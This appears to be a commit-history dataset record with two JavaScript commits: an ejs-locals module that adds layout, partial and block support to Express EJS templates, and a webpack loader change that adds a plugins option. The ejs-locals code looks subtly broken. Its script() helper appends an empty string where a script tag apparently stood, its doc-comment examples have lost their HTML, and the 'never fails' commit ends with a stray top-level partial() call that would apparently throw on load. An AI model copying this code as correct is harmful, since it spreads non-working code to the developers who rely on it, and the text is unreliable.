 *   - `object` Single object with name derived from the view (unless `as` is present)
 *
 *   - `as` Variable name for each `collection` value, defaults to the view name.
 *     * as: 'something' will add the `something` local variable
 *     * as: this will use the collection value as the template context
 *     * as: global will merge the collection value's properties with `locals`
 *
 *   - `collection` Array of objects, the name is derived from the view name itself.
 *     For example _video.html_ will have a object _video_ available to it.
 *
 * @param  {String} view
 * @param  {Object|Array} options, collection or object
 * @return {String}
 * @api private
 */

function partial(view, options){

  var collection
    , object
    , locals
    , name;

  // parse options
  if( options ){
    // collection
    if( options.collection ){
      collection = options.collection;
      delete options.collection;
    } else if( 'length' in options ){
      collection = options;
      options = {};
    }

    // locals
    if( options.locals ){
      locals = options.locals;
      delete options.locals;
    }

    // object
    if( 'Object' != options.constructor.name ){
      object = options;
      options = {};
    } else if( options.object !== undefined ){
      object = options.object;
      delete options.object;
    }
  } else {
    options = {};
  }

  // merge locals into options
  if( locals )
    options.__proto__ = locals;

  // merge app locals into options
  for(var k in this)
    options[k] = options[k] || this[k];

  // extract object name from view
  name = options.as || resolveObjectName(view);

  // find view, relative to this filename
  // (FIXME: filename is set by ejs engine, other engines may need more help)
  var root = dirname(options.filename)
    , file = lookup(root, view, options)
    , key = file + ':string';
  if( !file )
    throw new Error('Could not find partial ' + view);

  // read view
  var source = options.cache
    ? cache[key] || (cache[key] = fs.readFileSync(file, 'utf8'))
    : fs.readFileSync(file, 'utf8');

  options.filename = file;

  // re-bind partial for relative partial paths
  options.partial = partial.bind(options);

  // render partial
  function render(){
    if (object) {
      if ('string' == typeof name) {
        options[name] = object;
      } else if (name === global) {
        // wtf?
        // merge(options, object);
      }
    }
    // TODO Support other templates (but it's sync now...)
    var html = ejs.render(source, options);
    return html;
  }

  // Collection support
  if (collection) {
    var len = collection.length
      , buf = ''
      , keys
      , prop
      , val
      , i;

    if ('number' == typeof len || Array.isArray(collection)) {
      options.collectionLength = len;
      for (i = 0; i < len; ++i) {
        val = collection[i];
        options.firstInCollection = i === 0;
        options.indexInCollection = i;
        options.lastInCollection = i === len - 1;
        object = val;
        buf += render();
      }
    } else {
      keys = Object.keys(collection);
      len = keys.length;
      options.collectionLength = len;
      options.collectionKeys = keys;
      for (i = 0; i < len; ++i) {
        prop = keys[i];
        val = collection[prop];
        options.keyInCollection = prop;
        options.firstInCollection = i === 0;
        options.indexInCollection = i;
        options.lastInCollection = i === len - 1;
        object = val;
        buf += render();
      }
    }

    return buf;
  } else {
    return render();
  }
}

/**
 * Apply the given `view` as the layout for the current template,
 * using the current options/locals. The current template will be
 * supplied to the given `view` as `body`, along with any `blocks`
 * added by child templates.
 *
 * `options` are bound  to `this` in renderFile, you just call
 * `layout('myview')`
 *
 * @param  {String} view
 * @api private
 */
function layout(view){
  this.locals._layoutFile = view;
}

function Block() {
  this.html = [];
}

Block.prototype = {
  toString: function() {
    return this.html.join('\n');
  },
  append: function(more) {
    this.html.push(more);
  },
  prepend: function(more) {
    this.html.unshift(more);
  },
  replace: function(instead) {
    this.html = [ instead ];
  }
};

/**
 * Return the block with the given name, create it if necessary.
 * Optionally append the given html to the block.
 *
 * The returned Block can append, prepend or replace the block,
 * as well as render it when included in a parent template.
 *
 * @param  {String} name
 * @param  {String} html
 * @return {Block}
 * @api private
 */
function block(name, html) {
  // bound to the blocks object in renderFile
  var blk = this[name];
  if (!blk) {
    // always create, so if we request a
    // non-existent block we'll get a new one
    blk = this[name] = new Block();
  }
  if (html) {
    blk.append(html);
  }
  return blk;
}

// bound to scripts Block in renderFile
function script(path, type) {
  if (path) {
    this.append('');
  }
  return this;
}

// bound to stylesheets Block in renderFile
function stylesheet(path, media) {
  if (path) {
    this.append('<link rel="stylesheet" href="'+path+'"'+(media ? 'media="'+media+'"' : '')+' />');
  }
  return this;
}

<commit_msg>Makes sure it never fails.<commit_after>var ejs = require('ejs')
  , fs = require('fs')
  , path = require('path')
  , exists = fs.existsSync || path.existsSync
  , resolve = path.resolve
  , extname = path.extname
  , dirname = path.dirname
  , join = path.join
  , basename = path.basename;

/**
 * Express 3.x Layout & Partial support for EJS.
 *
 * The `partial` feature from Express 2.x is back as a template engine,
 * along with support for `layout` and `block/script/stylesheet`.
 *
 *
 * Example index.ejs:
 *
 *   <% layout('boilerplate') %>
 *
I am the <%=what%> template

 *   <% script('foo.js') %>
 *
 *
 * Example boilerplate.ejs:
 *
 *
 *
 *       <title>It's <%=who%></title>
 *       <%-scripts%>
 *
 *     <%-body%>
 *
 *
 *
 * Sample app:
 *
 *    var express = require('express')
 *      , app = express();
 *
 *    // use ejs-locals for all ejs templates:
 *    app.engine('ejs', require('ejs-locals'));
 *
 *    // render 'index' into 'boilerplate':
 *    app.get('/',function(req,res,next){
 *      res.render('index', { what: 'best', who: 'me' });
 *    });
 *
 *    app.listen(3000);
 *
 * Example output for GET /:
 *
 *
 *
 *       <title>It's me</title>
 *
 *
 *
I am the best template

 *
 *
 */

var renderFile = module.exports = function(file, options, fn){

  // Express used to set options.locals for us, but now we do it ourselves
  // (EJS does some __proto__ magic to expose these funcs/values in the template)
  if (!options.locals) {
    options.locals = {};
  }

  if (!options.locals.blocks) {
    // one set of blocks no matter how often we recurse
    var blocks = { scripts: new Block(), stylesheets: new Block() };
    options.locals.blocks = blocks;
    options.locals.scripts = blocks.scripts;
    options.locals.stylesheets = blocks.stylesheets;
    options.locals.block = block.bind(blocks);
    options.locals.stylesheet = stylesheet.bind(blocks.stylesheets);
    options.locals.script = script.bind(blocks.scripts);
  }
  // override locals for layout/partial bound to current options
  options.locals.layout  = layout.bind(options);
  options.locals.partial = partial.bind(options);

  ejs.renderFile(file, options, function(err, html) {

    if (err) {
      return fn(err,html);
    }

    var layout = options.locals._layoutFile;

    // for backward-compatibility, allow options to
    // set a default layout file for the view or the app
    // (NB:- not called `layout` any more so it doesn't
    // conflict with the layout() function)
    if (layout === undefined) {
      layout = options._layoutFile;
    }

    if (layout) {

      // use default extension
      var engine = options && options.settings && options.settings['view engine'] ? options.settings['view engine'] : 'ejs',
          desiredExt = '.'+engine;

      // apply default layout if only "true" was set
      if (layout === true) {
        layout = path.sep + 'layout' + desiredExt;
      }
      if (extname(layout) !== desiredExt) {
        layout += desiredExt;
      }

      // clear to make sure we don't recurse forever (layouts can be nested)
      delete options.locals._layoutFile;
      delete options._layoutFile;
      // make sure caching works inside ejs.renderFile/render
      delete options.filename;

      if (layout.length > 0 && layout[0] === path.sep) {
        // if layout is an absolute path, find it relative to view options:
        layout = join(options.settings.views, layout.slice(1));
      } else {
        // otherwise, find layout path relative to current template:
        layout = resolve(dirname(file), layout);
      }

      // now recurse and use the current result as `body` in the layout:
      options.locals.body = html;
      renderFile(layout, options, fn);
    } else {
      // no layout, just do the default:
      fn(null, html);
    }
  });

};

/**
 * Memory cache for resolved object names.
 */

var cache = {};

/**
 * Resolve partial object name from the view path.
 *
 * Examples:
 *
 *   "user.ejs" becomes "user"
 *   "forum thread.ejs" becomes "forumThread"
 *   "forum/thread/post.ejs" becomes "post"
 *   "blog-post.ejs" becomes "blogPost"
 *
 * @return {String}
 * @api private
 */

function resolveObjectName(view){
  return cache[view] || (cache[view] = view
    .split('/')
    .slice(-1)[0]
    .split('.')[0]
    .replace(/^_/, '')
    .replace(/[^a-zA-Z0-9 ]+/g, ' ')
    .split(/ +/).map(function(word, i){
      return i ? word[0].toUpperCase() + word.substr(1) : word;
    }).join(''));
}

/**
 * Lookup partial path from base path of current template:
 *
 *   - partial `_<name>`
 *   - any `<name>/index`
 *   - non-layout `../<name>/index`
 *   - any `<root>/<name>`
 *   - partial `<root>/_<name>`
 *
 * Options:
 *
 *   - `cache` store the resolved path for the view, to avoid disk I/O
 *
 * @param {String} root, full base path of calling template
 * @param {String} partial, name of the partial to lookup (can be a relative path)
 * @param {Object} options, for `options.cache` behavior
 * @return {String}
 * @api private
 */

function lookup(root, partial, options){

  var engine = options.settings['view engine'] || 'ejs'
    , desiredExt = '.' + engine
    , ext = extname(partial) || desiredExt
    , key = [ root, partial, ext ].join('-');

  if (options.cache && cache[key]) return cache[key];

  // Make sure we use dirname in case of relative partials
  // ex: for partial('../user') look for /path/to/root/../user.ejs
  var dir = dirname(partial)
    , base = basename(partial, ext);

  // _ prefix takes precedence over the direct path
  // ex: for partial('user') look for /root/_user.ejs
  partial = resolve(root, dir,'_'+base+ext);
  if( exists(partial) ) return options.cache ? cache[key] = partial : partial;

  // Try the direct path
  // ex: for partial('user') look for /root/user.ejs
  partial = resolve(root, dir, base+ext);
  if( exists(partial) ) return options.cache ? cache[key] = partial : partial;

  // Try index
  // ex: for partial('user') look for /root/user/index.ejs
  partial = resolve(root, dir, base, 'index'+ext);
  if( exists(partial) ) return options.cache ? cache[key] = partial : partial;

  // FIXME:
  // * there are other path types that Express 2.0 used to support but
  //   the structure of the lookup involved View class methods that we
  //   don't have access to any more
  // * we probaly need to pass the Express app's views folder path into
  //   this function if we want to support finding partials relative to
  //   it as well as relative to the current view
  // * we have no tests for finding partials that aren't relative to
  //   the calling view

  return null;
}

/**
 * Render `view` partial with the given `options`. Optionally a
 * callback `fn(err, str)` may be passed instead of writing to
 * the socket.
 *
 * Options:
 *
 *   - `object` Single object with name derived from the view (unless `as` is present)
 *
 *   - `as` Variable name for each `collection` value, defaults to the view name.
 *     * as: 'something' will add the `something` local variable
 *     * as: this will use the collection value as the template context
 *     * as: global will merge the collection value's properties with `locals`
 *
 *   - `collection` Array of objects, the name is derived from the view name itself.
 *     For example _video.html_ will have a object _video_ available to it.
 *
 * @param  {String} view
 * @param  {Object|Array} options, collection or object
 * @return {String}
 * @api private
 */

function partial(view, options){

  var collection
    , object
    , locals
    , name;

  // parse options
  if( options ){
    // collection
    if( options.collection ){
      collection = options.collection;
      delete options.collection;
    } else if( 'length' in options ){
      collection = options;
      options = {};
    }

    // locals
    if( options.locals ){
      locals = options.locals;
      delete options.locals;
    }

    // object
    if( 'Object' != options.constructor.name ){
      object = options;
      options = {};
    } else if( options.object !== undefined ){
      object = options.object;
      delete options.object;
    }
  } else {
    options = {};
  }

  // merge locals into options
  if( locals )
    options.__proto__ = locals;

  // merge app locals into options
  for(var k in this)
    options[k] = options[k] || this[k];

  // extract object name from view
  name = options.as || resolveObjectName(view);

  // find view, relative to this filename
  // (FIXME: filename is set by ejs engine, other engines may need more help)
  var root = dirname(options.filename)
    , file = lookup(root, view, options)
    , key = file + ':string';
  if( !file )
    throw new Error('Could not find partial ' + view);

  // read view
  var source = options.cache
    ? cache[key] || (cache[key] = fs.readFileSync(file, 'utf8'))
    : fs.readFileSync(file, 'utf8');

  options.filename = file;

  // re-bind partial for relative partial paths
  options.partial = partial.bind(options);

  // render partial
  function render(){
    if (object) {
      if ('string' == typeof name) {
        options[name] = object;
      } else if (name === global) {
        // wtf?
        // merge(options, object);
      }
    }
    // TODO Support other templates (but it's sync now...)
    var html = ejs.render(source, options);
    return html;
  }

  // Collection support
  if (collection) {
    var len = collection.length
      , buf = ''
      , keys
      , prop
      , val
      , i;

    if ('number' == typeof len || Array.isArray(collection)) {
      options.collectionLength = len;
      for (i = 0; i < len; ++i) {
        val = collection[i];
        options.firstInCollection = i === 0;
        options.indexInCollection = i;
        options.lastInCollection = i === len - 1;
        object = val;
        buf += render();
      }
    } else {
      keys = Object.keys(collection);
      len = keys.length;
      options.collectionLength = len;
      options.collectionKeys = keys;
      for (i = 0; i < len; ++i) {
        prop = keys[i];
        val = collection[prop];
        options.keyInCollection = prop;
        options.firstInCollection = i === 0;
        options.indexInCollection = i;
        options.lastInCollection = i === len - 1;
        object = val;
        buf += render();
      }
    }

    return buf;
  } else {
    return render();
  }
}

/**
 * Apply the given `view` as the layout for the current template,
 * using the current options/locals. The current template will be
 * supplied to the given `view` as `body`, along with any `blocks`
 * added by child templates.
 *
 * `options` are bound  to `this` in renderFile, you just call
 * `layout('myview')`
 *
 * @param  {String} view
 * @api private
 */
function layout(view){
  this.locals._layoutFile = view;
}

function Block() {
  this.html = [];
}

Block.prototype = {
  toString: function() {
    return this.html.join('\n');
  },
  append: function(more) {
    this.html.push(more);
  },
  prepend: function(more) {
    this.html.unshift(more);
  },
  replace: function(instead) {
    this.html = [ instead ];
  }
};

/**
 * Return the block with the given name, create it if necessary.
 * Optionally append the given html to the block.
 *
 * The returned Block can append, prepend or replace the block,
 * as well as render it when included in a parent template.
 *
 * @param  {String} name
 * @param  {String} html
 * @return {Block}
 * @api private
 */
function block(name, html) {
  // bound to the blocks object in renderFile
  var blk = this[name];
  if (!blk) {
    // always create, so if we request a
    // non-existent block we'll get a new one
    blk = this[name] = new Block();
  }
  if (html) {
    blk.append(html);
  }
  return blk;
}

// bound to scripts Block in renderFile
function script(path, type) {
  if (path) {
    this.append('');
  }
  return this;
}

// bound to stylesheets Block in renderFile
function stylesheet(path, media) {
  if (path) {
    this.append('<link rel="stylesheet" href="'+path+'"'+(media ? 'media="'+media+'"' : '')+' />');
  }
  return this;
}

partial('box.ejs', {box_title: 'test'})<|endoftext|>


<commit_before>/**
 * @author Eoin Hennessy
 * @author Erik Desjardins
 * See LICENSE file in root directory for full license.
 */

'use strict';

var path = require('path');
var loaderUtils = require('loader-utils');
var SingleEntryPlugin = require('webpack').SingleEntryPlugin;
var InertEntryPlugin = require('inert-entry-webpack-plugin');

module.exports = function() {};

module.exports.pitch = function(request) {
	var callback = this.async();

	var options = loaderUtils.getOptions(this) || {};
	var filename = options.name || path.basename(this.resourcePath);
	var outputDir = options.path || '.';
	var plugins = options.inert ? [new InertEntryPlugin()] : [];

	// name of the entry and compiler (in logs)
	var debugName = loaderUtils.interpolateName(this, '[name]', {});

	// create a child compiler (hacky)
	var compiler = this._compilation.createChildCompiler(debugName, { filename: filename }, plugins);
	new SingleEntryPlugin(this.context, '!!' + request, debugName).apply(compiler);

	// add a dependency on the entry point of the child compiler, so watch mode works
	this.addDependency(request);

	// like compiler.runAsChild(), but remaps paths if necessary
	// https://github.com/webpack/webpack/blob/f6e366b4be1cfe2770251a890d93081824789209/lib/Compiler.js#L206
	compiler.compile(function(err, compilation) {
		if (err) return callback(err);

		this.parentCompilation.children.push(compilation);
		for (const name of Object.keys(compilation.assets)) {
			this.parentCompilation.assets[path.join(outputDir, name)] = compilation.assets[name];
		}

		// the first file in the first chunk of the first (should only be one) entry point is the real file
		// see https://github.com/webpack/webpack/blob/f6e366b4be1cfe2770251a890d93081824789209/lib/Compiler.js#L215
		var outputFilename = compilation.entrypoints.values().next().value.chunks[0].files[0];

		callback(null, 'module.exports = __webpack_public_path__ + ' + JSON.stringify(path.join(outputDir, outputFilename)) + ';')
	}.bind(compiler));
};
<commit_msg>Add plugin option.<commit_after>/**
 * @author Eoin Hennessy
 * @author Erik Desjardins
 * See LICENSE file in root directory for full license.
 */

'use strict';

var path = require('path');
var loaderUtils = require('loader-utils');
var SingleEntryPlugin = require('webpack').SingleEntryPlugin;
var InertEntryPlugin = require('inert-entry-webpack-plugin');

module.exports = function() {};

module.exports.pitch = function(request) {
	var callback = this.async();

	var options = loaderUtils.getOptions(this) || {};
	var filename = options.name || path.basename(this.resourcePath);
	var outputDir = options.path || '.';
	var plugins = options.plugins || [];
	if (options.inert) {
		plugins.push(new InertEntryPlugin());
	}

	// name of the entry and compiler (in logs)
	var debugName = loaderUtils.interpolateName(this, '[name]', {});

	// create a child compiler (hacky)
	var compiler = this._compilation.createChildCompiler(debugName, { filename: filename }, plugins);
	new SingleEntryPlugin(this.context, '!!' + request, debugName).apply(compiler);

	// add a dependency on the entry point of the child compiler, so watch mode works
	this.addDependency(request);

	// like compiler.runAsChild(), but remaps paths if necessary
	// https://github.com/webpack/webpack/blob/f6e366b4be1cfe2770251a890d93081824789209/lib/Compiler.js#L206
	compiler.compile(function(err, compilation) {
		if (err) return callback(err);

		this.parentCompilation.children.push(compilation);
		for (const name of Object.keys(compilation.assets)) {
			this.parentCompilation.assets[path.join(outputDir, name)] = compilation.assets[name];
		}

		// the first file in the first chunk of the first (should only be one) entry point is the real file
		// see https://github.com/webpack/webpack/blob/f6e366b4be1cfe2770251a890d93081824789209/lib/Compiler.js#L215
		var outputFilename = compilation.entrypoints.values().next().value.chunks[0].files[0];

		callback(null, 'module.exports = __webpack_public_path__ + ' + JSON.stringify(path.join(outputDir, outputFilename)) + ';')
	}.bind(compiler));
};
<|endoftext|>